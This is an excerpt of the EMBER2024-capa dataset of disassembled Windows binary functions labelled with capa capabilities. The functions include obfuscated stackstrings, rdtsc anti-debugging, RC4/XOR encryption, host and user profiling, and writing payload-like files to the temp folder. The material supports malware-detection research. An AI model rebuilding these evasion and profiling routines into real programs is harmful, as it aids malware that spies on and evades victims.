joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a33d0
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
push edi
push esi
sub esp, 0x20
cmp dword [ecx + 4], 0
mov esi, ecx
je 0x4a3451
lea ebx, [esi + 0xc]
mov dword [esp + 4], 0
lea eax, [esp + 4]
push 0
push eax
push 0
push ebx
call dword [sym.imp.kernel32.dll_InitOnceBeginInitialize]
cmp eax, 1
mov dword [esp], eax
jne 0x4a348c
cmp dword [esp + 4], 0
je 0x4a3473
call dword [sym.imp.kernel32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x4a34aa
mov edi, eax
inc eax
mov dword [esi], eax
mov eax, dword [0x50c3c0]
nop word cs:[eax + eax]
nop
mov dword [esi + 8], eax
lock cmpxchg dword [0x50c3c0], esi
jne 0x4a3430
mov byte [0x50c3bc], 1
push 0
push 0
push ebx
call dword [sym.imp.kernel32.dll_InitOnceComplete]
jmp 0x4a3483
call dword [sym.imp.kernel32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [esp], eax
je 0x4a34eb
mov ecx, eax
xor eax, eax
inc ecx
lock cmpxchg dword [esi], ecx
jne 0x4a3477
mov edi, dword [esp]
jmp 0x4a3483
mov edi, dword [esi]
jmp 0x4a3482
mov edi, eax
push dword [esp]
call dword [sym.imp.kernel32.dll_TlsFree]
dec edi
mov eax, edi
add esp, 0x20
pop esi
pop edi
pop ebx
ret
mov dword [esp + 8], 0
lea eax, [esp + 8]
mov ecx, esp
mov edx, 0x4e03f0
push 0x4e07f4
push eax
call fcn.004a3520
push 0
push 4
push ebx
call dword [sym.imp.kernel32.dll_InitOnceComplete]
lea ecx, [esp + 8]
mov edx, 0x4e07e4
mov dword [esp + 8], 0x4e07a8
mov dword [esp + 0xc], 1
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], str._rustc_aedd173a2c086e558c2b66d3743b344f977621a7librarycore_srccharmethods.rs8
mov dword [esp + 0x14], 0
call fcn.004a0200
mov ecx, esp
lea edx, [esp + 8]
mov dword [esp + 8], 0x4e07a8
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], str._rustc_aedd173a2c086e558c2b66d3743b344f977621a7librarycore_srccharmethods.rs8
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call fcn.004a3550
int3

Function at 0x4a38a0
Capabilities:
Resolve dns

Disassembly:
push ebx
push edi
push esi
sub esp, 0x34
mov esi, ecx
lea ecx, [esp + 4]
push dword [esp + 0x44]
call fcn.0040a830
add esp, 4
mov eax, dword [esp + 4]
cmp eax, 0x80000000
jne 0x4a3913
mov edi, dword [esp + 8]
mov ebx, dword [esp + 0xc]
xorps xmm0, xmm0
mov eax, esp
mov dword [esp], 0
lea ecx, [esp + 0x14]
movups xmmword [esp + 0x14], xmm0
movups xmmword [esp + 0x24], xmm0
mov dword [esp + 0x1c], 1
push eax
push ecx
push 0
push edi
call dword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x4a3935
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
mov dword [esi + 8], eax
mov dword [esi + 4], 0
mov eax, 1
jmp 0x4a3949
mov ecx, dword [0x4df8f8]
mov edx, dword [0x4df8fc]
test eax, eax
mov dword [esi + 8], edx
mov dword [esi + 4], ecx
mov dword [esi], 1
je 0x4a395e
mov ecx, dword [esp + 8]
jmp 0x4a3954
mov ecx, dword [esp]
movzx eax, word [esp + 0x48]
mov dword [esi + 4], ecx
mov dword [esi + 8], ecx
mov word [esi + 0xc], ax
xor eax, eax
test ebx, ebx
mov dword [esi], eax
mov byte [edi], 0
je 0x4a395e
mov ecx, edi
mov edx, 1
call fcn.0040a630
add esp, 0x34
pop esi
pop edi
pop ebx
ret
Function at 0x40981f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0x47
push 0x5a
call fcn.0040a398
add esp, 0xfffffff4
push edx
call fcn.0040a128
push ebx
call fcn.0040988e
Function at 0x40f4ed
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0040f15d
push eax
push esi
push dword [ebp + 8]
call fcn.0040f112
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0040f15d
push eax
push esi
push dword [ebp + 8]
call fcn.0040f112
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0040f15d
push eax
push esi
push dword [ebp + 8]
call fcn.0040f112
invalid
inc dword [ebx - 0x7a76cf3c]
dec eax
invalid
invalid
invalid
call fcn.0040f14d
inc ebp
cmpsd dword [esi], dword es:[edi]
invalid

Function at 0x40f6ec
Capabilities:
Inspect section memory permissions

Disassembly:
je 0x40f795
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.0040f14d
pop ebp
and eax, 0x5d396a4d
or al, 0x75
adc dl, byte [edi - 1]
xchg ebp, eax
dec eax
invalid
call fcn.0040f14d
pop ds
pushal
push ecx
cmpsd dword [esi], dword es:[edi]
mov eax, dword [edi + 0xa0]
cmp eax, ebx
je 0x40f801
add eax, esi

Function at 0x40f889
Capabilities:
Inspect section memory permissions

Disassembly:
or byte [esp + eax - 0x80], dh
or al, 8
add bh, byte [ecx]
pop ebp
adc byte [ebp + eax + 3], dh
enter 0x980, 4

Function at 0x40f96d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add dh, al
test dword [esi - 0x25000004], ebp
and byte [ebp - 0x351], 0
mov byte [ebp - 0x350], 0x62
mov byte [ebp - 0x34f], 0x40
mov byte [ebp - 0x34e], 0x51
mov byte [ebp - 0x34d], 0x75
mov byte [ebp - 0x34c], 0x57
mov byte [ebp - 0x34b], 0x4a
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.0040f15d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040f112
Function at 0x40f9fe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0040f15d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040f112
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.0040f15d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040f112
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.0040f14d
in eax, dx
outsd dx, dword [esi]
jae 0x40fb49
push ds
cld
invalid
and byte [ebp - 0x534], 0
and byte [ebp - 0x533], 0
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
mov byte [ebp - 0x52f], 0xfb
mov byte [ebp - 0x52e], 0xf8
mov byte [ebp - 0x52d], 0xe4
mov byte [ebp - 0x52c], 0xf2
mov byte [ebp - 0x52b], 0xdf
mov byte [ebp - 0x52a], 0xf6
mov byte [ebp - 0x529], 0xf9
mov byte [ebp - 0x528], 0xf3
mov byte [ebp - 0x527], 0xfb
mov byte [ebp - 0x526], 0xf2
mov byte [ebp - 0x525], 0x97
lea eax, [ebp - 0x534]
push eax
call fcn.0040f15d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040f112
add esp, 0xc
mov dword [ebp - 0x680], eax
call fcn.0040f14d
jmp 0x8092df61
Function at 0x2421200
Capabilities:
Get common file path

Disassembly:
sub esp, 0x15c
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov eax, dword [edi + 0xe]
mov ebp, dword [edi + 0x12]
mov dword [esp + 0x10], eax
add ebp, edi
lea eax, [esp + 0x68]
push eax
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x2421125
lea eax, [esp + 0x68]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x68]
push 0x24240f0
push eax
call esi
lea eax, [edi + 0x16]
push eax
lea eax, [esp + 0x6c]
push eax
call esi
push dword [esp + 0x10]
mov edx, ebp
lea ecx, [esp + 0x6c]
call fcn.02421424
pop ecx
test eax, eax
jne 0x242115c
inc eax
jmp 0x24211f5
mov al, byte [edi + 0xd]
test al, al
jne 0x24211b2
push 0x44
pop esi
push esi
lea eax, [esp + 0x28]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [esp + 0x24], esi
lea eax, [edi + 0x76]
push eax
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x24211f3
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x28]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x8c]
push ecx
call eax
mov ebx, eax
jmp 0x24211f3
cmp al, 1
jne 0x24211f3
lea eax, [edi + 0x86]
push eax
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x24211de
lea ecx, [esp + 0x68]
push ecx
call eax
mov esi, eax
jmp 0x24211e0
mov esi, ebx
test esi, esi
je 0x24211ec
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
test esi, esi
setne bl
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret
push esi
mov esi, ecx
push edi
mov edi, edx
cmp dword [esi + 5], 0
je 0x2421217
cmp dword [esi + 1], 0
je 0x2421217
call section..text
cmp dword [esp + 0xc], 0
jne 0x242123b
mov eax, dword [esi + 0x12]
test eax, eax
je 0x242123b
mov ecx, dword [esi + 0xe]
test ecx, ecx
je 0x242123b
add eax, ecx
cmp eax, edi
ja 0x242123b
pop edi
mov ecx, esi
pop esi
jmp 0x24210e7
pop edi
pop esi
ret
Function at 0x242123e
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
sub esp, 0x120
push ebx
push edi
push 0x24240f4
mov edi, edx
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x242130e
add eax, 3
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov dword [0x2423004], eax
lea eax, [esp + 0x24]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push dword [0x2423004]
lea ecx, [esp + 0x28]
add eax, ecx
push str._0.8x.png
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x18]
push eax
lea edx, [esp + 0x18]
lea ecx, [esp + 0x34]
call fcn.0242147d
add esp, 0x10
test eax, eax
je 0x242130e
push ebp
xor ebp, ebp
mov dword [esp + 0x18], 4
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], ebp
mov dword [esp + 0x18], 0x2423004
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
call fcn.024225b6
mov esi, eax
cmp dword [esp + 0x10], ebp
je 0x24212f7
push dword [esp + 0x10]
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
inc eax
cmp esi, eax
pop esi
pop ebp
jne 0x242130e
mov ecx, dword [esp + 0x1c]
mov dword [ebx], ecx
mov ecx, dword [esp + 0x20]
mov dword [edi], ecx
jmp 0x2421310
xor eax, eax
pop edi
pop ebx
add esp, 0x120
ret

Function at 0x2421319
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
lea edx, [ebp - 4]
lea ecx, [ebp - 8]
call fcn.0242123e
test eax, eax
je 0x2421355
mov ecx, dword [ebp - 8]
cmp dword [ecx + 5], 0
je 0x24213ed
cmp dword [ecx + 1], 0
je 0x24213ed
mov edx, dword [ebp - 4]
call section..text
jmp 0x24213ed
push edi
xor edx, edx
mov edi, 0x204
mov cl, byte [edx*2 + 0x2424110]
mov al, byte [edx*2 + 0x2424111]
and cl, 0xf0
shr al, 4
or cl, al
xor cl, dl
mov byte [ebp + edx - 0x20c], cl
inc edx
cmp edx, edi
jb 0x242135d
mov ecx, dword [ebp - 0x20c]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x208]
call fcn.024223e2
pop ecx
pop ecx
test eax, eax
je 0x24213ec
push edi
lea eax, [ebp - 0x20c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp - 4], 0x400
jb 0x24213ec
push 0xea60
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [ebp - 8]
mov ecx, edi
mov edx, dword [ebp - 4]
push 0
call fcn.02421200
pop ecx
test edi, edi
je 0x24213ec
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x2421424
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov esi, edx
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x2421474
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x2421474
cmp dword [ebp - 4], edi
jne 0x2421474
xor eax, eax
inc eax
jmp 0x2421476
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x242147d
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor esi, esi
push ebx
push 0x80
push 3
push ebx
inc esi
mov ebp, edx
push esi
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x24214aa
xor eax, eax
jmp 0x2421529
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [esp + 0x18]
mov dword [ebx], eax
test eax, eax
jne 0x24214c1
and dword [ebp], eax
jmp 0x2421520
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp], eax
test eax, eax
jne 0x24214dd
xor esi, esi
jmp 0x2421520
and dword [esp + 0x10], 0
cmp dword [ebx], 0
jne 0x24214eb
xor eax, eax
jmp 0x2421504
push 0
lea ecx, [esp + 0x14]
push ecx
push dword [ebx]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
neg eax
sbb eax, eax
and eax, dword [esp + 0x10]
cmp eax, dword [ebx]
je 0x2421520
xor esi, esi
cmp dword [ebp], esi
je 0x2421520
push dword [ebp]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x2421768
Capabilities:
Get hostname
Get user security identifier

Disassembly:
sub esp, 0x6c
push ebx
push ebp
push esi
push edi
push 5
pop edi
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x2f
push eax
lea eax, [esp + 0x20]
xor ebp, ebp
push eax
push ebp
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x2421861
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x20]
push eax
push ebp
lea eax, [esp + 0x30]
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
jne 0x2421861
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x2421861
mov eax, dword [esp + 0x14]
test eax, eax
je 0x2421861
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
inc eax
push eax
push 8
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x2421861
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x20]
push eax
push esi
lea eax, [esp + 0x30]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x2421855
movzx eax, byte [esi + 1]
cmp eax, edi
jae 0x2421824
mov edi, eax
mov edx, edi
lea ecx, [esi + 8]
shl edx, 2
test ebx, ebx
je 0x2421845
test ecx, ecx
je 0x2421845
test edx, edx
je 0x2421845
sub ebx, ecx
mov al, byte [ecx]
mov byte [ebx + ecx], al
inc ecx
sub edx, 1
jne 0x242183a
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
jmp 0x2421863
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x6c
ret

Function at 0x2421923
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov edx, dword [sym.imp.KERNEL32.dll_SwitchToThread]
push ebx
push ebp
xor ebp, ebp
mov dword [esp + 0x14], 0x10
push esi
push edi
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x20], edx
call edx
rdtsc
mov esi, eax
mov dword [esp + 0x24], edx
xor eax, eax
lea edi, [esp + 0x28]
inc eax
xor ecx, ecx
cpuid
mov dword [edi], eax
mov eax, edi
mov dword [eax + 4], ebx
mov ebx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
rdtsc
sub eax, esi
sbb edx, dword [esp + 0x24]
add ebp, eax
adc ebx, edx
mov dword [esp + 0x10], ebx
call dword [esp + 0x20]
rdtsc
mov ecx, eax
mov esi, edx
rdtsc
sub eax, ecx
nop
mov ecx, dword [esp + 0x14]
sbb edx, esi
add ecx, eax
mov eax, dword [esp + 0x18]
adc eax, edx
mov dword [esp + 0x14], ecx
sub dword [esp + 0x1c], 1
mov edx, dword [esp + 0x20]
mov dword [esp + 0x18], eax
jne 0x2421950
push eax
push ecx
push ebx
push ebp
call fcn.024226f0
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x2421a8e
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
mov ebp, edx
mov dword [esp + 0x10], ecx
xor edx, edx
push edi
mov edi, dword [esp + 0x1c]
mov eax, edx
mov byte [eax + edi], al
inc eax
cmp eax, 0x100
jb 0x2421aa2
mov cl, dl
mov ebx, edx
mov eax, dword [esp + 0x14]
movzx esi, dl
mov dl, byte [ebx + edi]
mov al, byte [esi + eax]
add al, dl
add cl, al
mov byte [esp + 0x13], cl
movzx ecx, cl
mov al, byte [ecx + edi]
mov byte [ebx + edi], al
lea eax, [esi + 1]
mov byte [ecx + edi], dl
xor edx, edx
mov cl, byte [esp + 0x13]
div ebp
inc ebx
cmp ebx, 0x100
jb 0x2421ab1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x2421aed
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x104
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi], ebx
je 0x2421ba6
cmp dword [esi + 4], ebx
je 0x2421ba6
cmp dword [esi + 8], ebx
je 0x2421ba6
mov eax, dword [esi + 0xc]
test eax, eax
je 0x2421ba6
cmp dword [esi + 0x10], ebx
jne 0x2421b3b
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi + 0x10], eax
test eax, eax
je 0x2421ba6
mov edx, dword [esi + 4]
lea eax, [esp + 0xc]
mov ecx, dword [esi]
push ebp
push eax
call fcn.02421a8e
mov ebp, dword [esi + 0xc]
pop ecx
test ebp, ebp
je 0x2421ba0
push edi
mov edi, dword [esi + 0x10]
mov eax, ebx
mov esi, dword [esi + 8]
sub esi, edi
inc bl
movzx ebx, bl
mov cl, byte [esp + ebx + 0x14]
movzx edx, cl
add al, dl
movzx eax, al
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x14]
mov byte [esp + ebx + 0x14], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x14], cl
mov al, byte [esp + ebx + 0x14]
add al, dl
movzx eax, al
mov al, byte [esp + eax + 0x14]
xor al, byte [esi + edi]
mov byte [edi], al
inc edi
mov eax, dword [esp + 0x10]
sub ebp, 1
jne 0x2421b5e
pop edi
xor eax, eax
inc eax
pop ebp
jmp 0x2421ba8
xor eax, eax
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x2421e26
Capabilities:
Get hostname
Get session user name

Disassembly:
sub esp, 0x218
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
mov ebp, 0x100
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x14], ebp
push eax
push 0
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
push 0x78
pop edi
test eax, eax
jne 0x2421e5e
mov word [esp + 0x28], di
mov word [esp + 0x2a], ax
lea eax, [esp + 0x28]
mov edx, str.____io_uniq
push eax
mov ecx, ebx
call fcn.02421bb1
mov esi, eax
mov dword [esp + 0x14], ebp
pop ecx
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x2421e94
mov word [esp + 0x28], di
mov word [esp + 0x2a], ax
lea eax, [esp + 0x28]
mov edx, 0x24245d4
push eax
lea ecx, [ebx + esi*2]
call fcn.02421bb1
pop ecx
lea edx, [esp + 0x14]
add esi, eax
call fcn.02421768
mov ebp, eax
lea ecx, [ebx + esi*2]
test ebp, ebp
je 0x2421f00
push dword [esp + 0x14]
push str.____io_f
push str._s_u
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
xor edi, edi
add esp, 0x10
inc edi
add esi, eax
cmp ebp, edi
jbe 0x2421f18
push dword [esp + edi*4 + 0x14]
lea eax, [ebx + esi*2]
push 0x2424610
push str._s_u
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
add esi, eax
inc edi
cmp edi, ebp
jb 0x2421edc
jmp 0x2421f18
push 0
push str.____io_f
push str._s_u
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
add esi, eax
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x218
ret
Function at 0x24223e2
Capabilities:
Get common file path

Disassembly:
sub esp, 0x120
mov dword [0x2423008], ecx
push ebx
push ebp
push esi
push edi
mov edi, edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebp, dword [esp + 0x134]
and eax, 0x7fffffff
mov ebx, dword [esp + 0x138]
mov dword [0x2423004], eax
and dword [ebp], 0
and dword [ebx], 0
jmp 0x2422500
mov cl, byte [esi + 1]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea edx, [esi + 2]
call fcn.02422301
pop ecx
pop ecx
test eax, eax
je 0x24224e5
cmp dword [ebx], 0
jne 0x24224c6
and dword [esp + 0x20], 0
lea ecx, [esp + 0x10]
and dword [esp + 0x24], 0
and dword [esp + 0x28], 0
mov dword [esp + 0x1c], 4
mov dword [esp + 0x18], 0x2423004
call fcn.024225b6
cmp eax, 1
jne 0x24224c0
mov eax, dword [esp + 0x24]
mov dword [ebp], eax
mov eax, dword [esp + 0x28]
mov dword [ebx], eax
lea eax, [esp + 0x2c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push dword [0x2423004]
lea ecx, [esp + 0x30]
add eax, ecx
push str._0.8x.png
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [esp + 0x20]
mov ebx, dword [esp + 0x20]
lea ecx, [esp + 0x3c]
mov edx, ebx
call fcn.02421424
add esp, 0x10
jmp 0x24224ca
neg eax
sbb eax, eax
and edi, eax
mov ebx, dword [esp + 0x10]
test ebx, ebx
je 0x24224de
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [esp + 0x138]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [esi]
add esi, eax
cmp byte [esi], 0
jne 0x2422502
cmp dword [ebp], 0
jne 0x2422517
mov esi, edi
test edi, edi
jne 0x242241e
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x120
ret
xor eax, eax
inc eax
jmp 0x242250c